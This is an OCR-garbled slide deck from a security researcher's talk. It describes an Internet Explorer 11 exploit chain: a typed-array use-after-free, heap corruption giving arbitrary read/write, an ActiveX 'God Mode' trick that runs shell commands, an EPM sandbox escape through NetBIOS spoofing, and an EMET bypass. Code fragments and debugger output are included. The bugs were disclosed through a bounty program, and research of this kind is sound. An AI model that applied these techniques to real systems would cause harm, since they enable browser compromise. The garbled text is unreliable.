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Who am |? -

A Moritz Jodeit(@moritzj)
A Director of Research at Blue Frost Security
I Heading the Blue Frost Resealel

A Application security
I Reverse engineering
I Bug hunting
I Exploitation / mitigations




Motivation



Motivation c.

A Our target
I Internet Explorer 11 (6Hit)
I Enhanced Protected Mode
I Windows 10 x64

I EMET 5.5
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Motivation W

Al 0F NISR 62Nl AYy3 2y A

A A month later we had an IE 11 exploit working
I EPM escape and EMET bypass was still missing

A P20 rules were published just a few days later
I Turns out IE 11 is no longer a targ&aaal)

A After we gotdrurk over the frustration we
submitted our worktoa A ONR a 2 T 0 Q&
Bypass Bounty Prograiny & 0 S I R X
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Bounty Hunters: The Honor ROll

The following researchers have submitted a qualifying vulnerability or new mitigation bypass techniques to Microsoft as part of the Microso
Security Response Center (MSRC) Bounty Programs. We thank them greatly for their participation and for working with us to help keep
customers safe.

Please send vulnerability reports or questions about the Microsoft Bounty Programs to secure@microsoft.com.

Total bounties paid to date: Over $500,000.00

Mitigation Bypass

Donation to

Name Company Amount Year Charity
Yu Yang Tencent's - _
(@tombkeeper) Xuanwu Lab DL 2016
Moritz Jodeit Blue Frost
(@moritzj) Security GmbH S e
Zhang Yunhai NSFOCUS

= . Security $30,000 2016

@ _fOrgett
(@_forgetting ) Team
Henry Li TrendMicro $15,000 2016



Typed Array Neutering
Vulnerablility (CVE20163210)



Web Workers W

A JavaScript execution in concurrent threads
A Communication via message passing

I w.postMessag@Message|transferLis])

A Ownership of objects can be transferred
I Objects must implementransferablenterface

I Objects with transferred ownership become
unusable (akaeutered in the sending context
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Typed Arrays @
A Typed arrays allow access to raw binary data
A Implementation split between views / buffers
A Views define the interpretation of data
i'AYUOYy! NN &S ! AyidoH! NNJ ¢
A Buffers store the actual data
I Implemented byArrayBufferobject
i/ FyQid 06S dzaSR RANBOUGT &
A UnderlyingArrayBufferobject of a typed array
Oy 06S I O0O0OSaaSR UKNZ2d

_ 9/60




Reading up on previous bugs e

Al SGQa Gl 1S F 221 Fi
the past to win Pwn2own

A Pwn2own 2014 Mozilla Firefox exploits

I CVE20141514: Outof-boundswrite through
TypedArrayObjecfter neutering(GeorgeHot2)

I CVE20141513: Outof-bounds read/write
throughneuteringArrayBufferobjects JuriAed|g
A Turns out Internet Explorer 11 also has issues
with neuteredArrayBufferobjects:)
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CVE20163210 W

var array, First we create an
empty worker and

_ a typed array
Theneutered Irigeyer - (O

ArrayBufferis Worker = new Worker( "empty.js"
freed shortly after;  — ey Int8Array( );
we “er. postMessage( ', [ array.buffer 1]);

setTimeout ("boom()" , );
} ] WeAtran§fer ovanevrship of
uUKS 0 e LJ8rrRyBuffsdNI e
to the worker thread

N—r”

function  boonf) {

array| ] = : Value 0x42 is written at

’ offset 0x4141 in thdreed
} ArrayBufferobject




CVE20163210 G

£

(cd0.740): Access violation - code c0000005

(""" second chance !!!)
ebx=0d9fa6cO0 ecx=0b6f88b8 edx=00000040
edi =0efe2000

elp =6fa2858c esp=0aabbc08 ebp=0aa6bc8c iopl =0

nv up ei pl nz na pe cy

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
efl =00010207

jscript9lJs:: JavascriptOperators  ::OP_SetElementl+0x155:

6fa2858c 880437
ds:002h:0efe6141 =77

© 208 Blue FrosSecuriy
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CVE20163210 W

A Transferring ownership of the buffer will free
the underlyingArrayBuffer

I But buffer is still accessible through typed array

A Every read/write operation will access the
freed memory

I Once memory Iis reallocated, we can access
arbitrary heap objects

A Varying the size of the typed array allows us tc
exactly choose the target object
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Finding an object to replace G

A Memory ofArrayBufferis allocated in
Jjscript9lJsdavascriptArrayBuffeCreate

iLOQa dzaiglaq)  OF ftt G2
I Memory is allocated on the CRT heap

A Reduces the number of potentially useful
objects

I Normal arrays, typed arrays or strings are
Fff20F0SR 2y L9Qa Odzai:

A Which object could we target?
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LargeHeapBloakbjects WG
A.dzZAf R GKS F2dzyRIFEGAZ2Y
I Allocated on CRT heap

A Allocations can be forced by creating large
amount of big Array objects

I Allocation size dependent on stored elements

array ( );
( i ;o array.length ; i ++){
array[ 1] (( )1 4);
( ] o array[ 1 ].length; ] 1) {
array[ 1][j] ;
}
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LargeHeapBloaobjects c,

0:018> bp ntdll'RtlIAllocateHeap "r $t0 = @r8; qu;
.printf  \ "Allocated %x bytes at %p \\n\", @$t0, @ rax;g "

[...]
0:018 > dgs 0000028e1345bf40 L1

0000028e 1345bf40 00007ffb b54f2e40
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LargeHeapBloaobjects c,

'
0x0 jscript9!LargeHeapBlockiftable
0)¢3]
0x10 Pointer to jscript9!PageSegment
0x40 Pointer to next jscript9!LargeHeapBlock
Ox58
0x60
0x70
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LargeHeapBlockorruption $

ADIF NDbIF3IS O2tft SOUA2Y AY
A LargeHeapBuckeSweeplLargeHeapBlockList
iterates overLargeHeapBloakbjects

{
next = ( struct LargeHeapBlock *)*((_ QWORD *) current + °);

lambda_cedc91d37b267b7dc38a2323cbf64555 :operator  ()(
(LargeHeapBucket **)&bucket, (  int64 )current);
current = next;
} (next);

A The operator() method performs a standard
doubly linked lisunlinkoperation if forward and

backward pointers are set
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LargeHeapBlookorruption G

A Unlink operation is not protected

back = block ->back;
forward = block - >forward;
forward - >back = back;
back- >forward = forward

I Overwriting theforward and backwardpointer gives
us a write4 primitive

A Only constraint:

I Written value (backward pointer) must be a valid
address which is dereferenced to store the forward
pointer

A Basically we can write an arbitrary pointer at a
chosen address
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Whole address space read/write primitive W

A We want to use the write4 to gain the ability to
I Readarbitrary memory
I Write arbitrary memory
I Leakobject addresses

A Typed arrays can be used for this
I Size and data pointer can be overwritten
I But we need to find the address of a typed array first

A¢C@LISR FNN)é&a IINB | ff20
I Only its data buffer is allocated on the CRT heap
I How do we get an address of a typed array to modify?

_ 21/60




Exploit strategy W

A Trigger the bug multiple times with typed
arrays of two different sizes

I Creating several free heap chunks from previously
freed ArrayBufferobjects

A Alternate between allocating
I Arrays of integers
I Arrays of typed array references

A LargeHeapBlooBbjects of different sizes will
be allocated

I Filling the previously created holes on the heap
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Creating the desired heap layout C

Q@

CRT Heap IE Custom Heap
ArrayBuffe(0xb8) i Uint8Array(0xb8) u
ArrayBuffe(Oxb8) |«

ArrayBuffe{0xa0) l + Uint8Array(0xa0) U
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Creating the desired heap layout c,

@
CRT Heap IE Custom Heap
=Il . L .
—— LargeHeapBlocfoxb8) | Uint8Array(0xb8)
—« LargeHeapBloctOxb8)
=ll - . u
—+ LargeHeapBlocfoxa0) ja : Uint8Array(0xa0)
< Integer array
»  Array of typed arrays
Typed array pointer 0 ¢—
Typed array pointer 1
X
ArrayBuffer « + Typed array —
> Integer array

S © 208Blue FrosSecuriy 2460




Creating the desired heap layout QG

A Desired memory layout on IE custom heap
1. Integer array needs to be placed first
2. Followed by an array of typed array references
3. Followed by one of the referenced typed arrays
4. Finally an integer array at the end

L A - - P - ~ Integer agay
ALT 6S RARY QU ONBTIrS K
. : A f d
neap layout we just try again Al Lol

ALy GKS ySEG aiSErgsoy
we can check if we successfull
created the desired heap layout

Typed array

Integer array
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Step 1: Corrupting the first integer arrayegy

—= LargeHeapBlocloxb8) i Uint8Array(0xb8)

A 4

Integer array

A We first leak the address of the integer array through
the LargeHeapBloabbject

A Afterwards we trigger the write4 to overwrite the
reserved length field of tharray with a pointer

I Effectively enlarging the array
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Array objects in memory G

0:018>dd Ox205~ " |  °

00000205'64d600 _Numberof 5 g , reserved length

VuUvUuvuvuv . :

maximum capacit

00000205 64d600. 210CaEd bytes 0 00000000 0000¢ pacity)
0000(  Array length 'PAAPa 00000022 55000000

0000( (currently assignedO0000 00000000 66666666 66666666
0000 elements) 666666 66666666 66666666 66666666

A Overwriting allowswriting
outside the bounds

A Readingputside the bounds requiresrray length
to be modified as well

I Will automatically be adjusted once a value is assigne:
to an index above the original array length
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Step 2: Extending integer array length W

—= LargeHeapBlocloxb8) i Uint8Array(0xb8)

- A 4

Integer array

A Using the first integer array we erte

Into the second integer array
I Success can easily be verified ,
i Afterwards we can read and write all

memory between the two arrays i

N/
Integer array
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Step 3: Modifying typed array G

A Using the corrupted integer array we can now
leak typed array pointers

I For every pointer we check if the typed array
resides between our two integer arrays

I If It does, we continue to modif;lv

Integer array

Its size and raw data pointer Py —
A Modified typed array can o e b
. X
now be used to read/write -
Typed arragvﬁg

arbitrary addresses :)
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Gaining code execution C

A Abilities we have so far
I We can read/write arbitrary addresses
I We can leak object addresses

A Overwritingvftable pointers prevented by CFG

I Instead of finding a CFG bypass and doing the
0 & LIAROP ifto your shellcotle Rl y OS 4 ¢
another technique
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Revival of God Mode
(CVE2016-:0188)



Internet Explorer God Mode W
Al GGl O1 2y L9Q&a &aONMA LI
unsafe ActiveX controls to rum
I Initially presented by Yang Yu / Yuki Chen in 2014

A Single flagqafetyOption 0 RS OARS& A7
create and run ActiveX controls without prompts

A Unsafe ActiveX controls allow code execution
without using shellcode or ROP gadgets

A The following two functions must return true:
I Scriptengine :: CanCreateObiject
I ScripteEngine :: CanObjectRun
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Internet Explorer God Mode c,

A IE 11 introduced an additional protection
I Just overwritingsafetyOption flag no longer worked
I Introduced a 0x20 byte hash which protects the flag
I Documented in blog post by Fortingt
A dzl A /1 KSyQa 9ELJ] A0H AYLIX SYSY(GS
I Replaces the security manager reference inside the script engine
object with reference to fake object

this . write32 (fake securitvmanaaer vtable

” When CFG was mtroduced it broke I
" the technique the way it was

i o |mplemented N ExpL|b2.ABu,t i ) X

#tU0KSNBQa |y SOBSYy ..l aA SNJ

jscripty_code_start , JScripty_code_end));
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Revival of God Mode (CA28160188) $

A2 KSYy L aidlF NUSR Yé 28V
__int64  ScriptEngine :: CanCreateObject (
ScriptEngine  *this,
struct  _GUID *a2)

{
vll =( struct _GUID *az;

(*((_ BYTE*)this +0x384)&8 ))
(this , a2 );

AL 2dzad O2dz RYyQi FAYR
T Windows 8.1 still had it, but Windows 10 did not

A Seems like the protection judisappearedwtf?)

I Microsoft said that an internal compiler change
caused this behavior (oops)
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Revival of God Mode (CA28160188) O

var activex_obj = leak addr (ActiveXObject ). add( );
var scriptengine = readb4 (read64 (activex_obj ). add());
write32 (scriptengine.  add( ) L)

var shell = new ActiveXObject ("WScript.Shell ");
shell. Exec("notepad.exe ");

A Writing a single NUL byte is enough
I Turns on the ability to execute system commands




Escaping the EPM Sandbox
(CVE20163213)



Protected Mode bypass C\28141762 W

A Internet Explorer Zones

I Wayto apply different securitgettings to different
groups of web sites

A (E)PMnot enabled for the following zones:
I Local intranet
I Trusted sites

A Any web page rendered these zoness loaded
In a 32bit Medium IL process outside the
sandbox
iCANRO R20dzYSYiSR AMb6dex S NRA

paper;;in 2010
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ProtectedMode bypass CVH141762 W

A Basic idea
1. First stage payload opens local web server
2. IE Is redirected to local web server
3. EXxploit page is rendered in Local Intranet Zone
4

. Triggering exploit again allows Protected Mode
bypass
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Protected Mode bypass C\28141762 e

A Wellknown behavior and already exploited
several times In the past;

A ZDI reported the issue to Microsoft in 2014 but it
was never fixed
i adoes not meet the bar for security servi@ng
I Microsoft recommended to enable EPM

A EPM useéppContainewhich providesietwork
Isolationy
I Prohibits accepting new network connections
I Prohibits establishing connections to local machine
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Some EPM sandb@&scapeideas C

A We are not limited to localhost

I Any domain name considered to be part of the
Local Intranet Zone will do

A IE uses a number of rulego classify domains
I PlainHostNameule is one of them

A Hostnames without periods are automatically
mapped into Local Intranet Zone

I How can we register such a domain name pointing
to our external IP address?
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Local NetBIOS name spoofing $

A Implementedin C 2 E D f Hbi@PSt&dexploit
1 for local privilege escalation

A NetBIOS Name Service (NBNS)
I UDP broadcast protocol
I Fallback to NBNS if DNS lookup falils

A NBNS packets use bé transaction ID (TXID)
I Used to match responses to request packets
I Unknown to the attacker in the local scenario
i But can easily be bruttrced
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Local NetBIOS name spoofing

Time Source Destination Protocol Length Info
10 ©.748333 192.168.66.2 192.168.66.255 NBNS 92 Name query NB BLUEFROST<©@
11 1.499125 192.168.66.2 192.168.66.255 NBNS 92 Name query NB BLUEFROST<@0

Frame 11: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface ©
Ethernet II, Src: CadmusCo_a@:34:80 (08:00:27:20:34:80), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol Version 4, Src: 192.168.66.2, Dst: 192.168.66.255
User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)
NetBIOS Name Service
Transaction ID: ©xaacd
Flags: ©x0110, Opcode: Name query, Recursion desired, Broadcast
Questions: 1
Answer RRs: ©
Authority RRs: @
Additional RRs: @
VvV Queries
VvV BLUEFROST<@@>: type NB, class IN
Name: BLUEFROST<@0> (Workstation/Redirector)
Type: NB (32)
Class: IN (1)

T tF TF T 'TF 30 038 00 45 00

4e 39 2e 00 00 a8 42 02 c@ a3

ff ee 89 ee 89 cd 01 10 @0 el

20 00 00 00 00 46 46 45 46 45

46 43 45 50 46 43 41 43 41 43 GFCEPFDF ECACACAC
43 41 43 41 41 o1 ACACAAA.

© 208 Blue FrosSecuriy

42/60



EPM sandbogscape with C\\M2016-3213 $

A Turns out there are exceptions in the
AppContainenetwork isolation

I Sending UDP packets to local port 137 is possible

I Allows local NBNS spoofing from within
AppContainesandbox)

A Can be used to register new domain name
without periods and arbitrary IP address

I Exploiting initial bug in 3Bit process again, allows
us to escape the EPM sandbox
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Disabling EMET



EMET Attack Surface Reduction (ASR)&\_

vent 1, EMET

General Details

EMET version 5.5.5871.31892
EMET detected ASR mitigation in IEXPLORE.EXE

ASR check failed:
ication : C\Program Files\Internet Explorer\|EXPLORE.EXE
er Name : WIN10O\Moritz
1
: 0xC80 (3200)

A Prevents loading of certain blacklisted modules
considered dangerous

A Implemented by hookingoadLibraryEx
A WScript.ShelActiveX control{ ) is part
of the blacklist
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Disabling EMET 5.5 C

A Many pubhcgﬂonsl on bypassing or[ ~ ]
completely disabling EME1T g
A We have a special requirement
i WeR2Yy QiU KI 8S U0KS FoAf Al
codewhen we want to disable EMET
I Technigues which e.g. rely on executing

ROP gadgets are not applicable
A But we have a powerful read/write primitive
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Disabling EMET W

Check before ASR protection in EMET64.dll:

mov rcx , cs:qword_ 180136800

call cs. DecodePointer
Xor edi, edi

mov rl13, [rax+ ]
cmp [r13+ ], rdi

jnz short do_asr checks

cs:gword 180136800
Encoded Pointer gm

— CONFIG_STRUCT (heap]
0)¥2s] EnableProtectionPt s
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Encoded Pointers C

https://msdn.microsoft.com/enus/library/bb432254(v=vs.85).aspx

Is It possible to leak the secret with
our read/write primitive?
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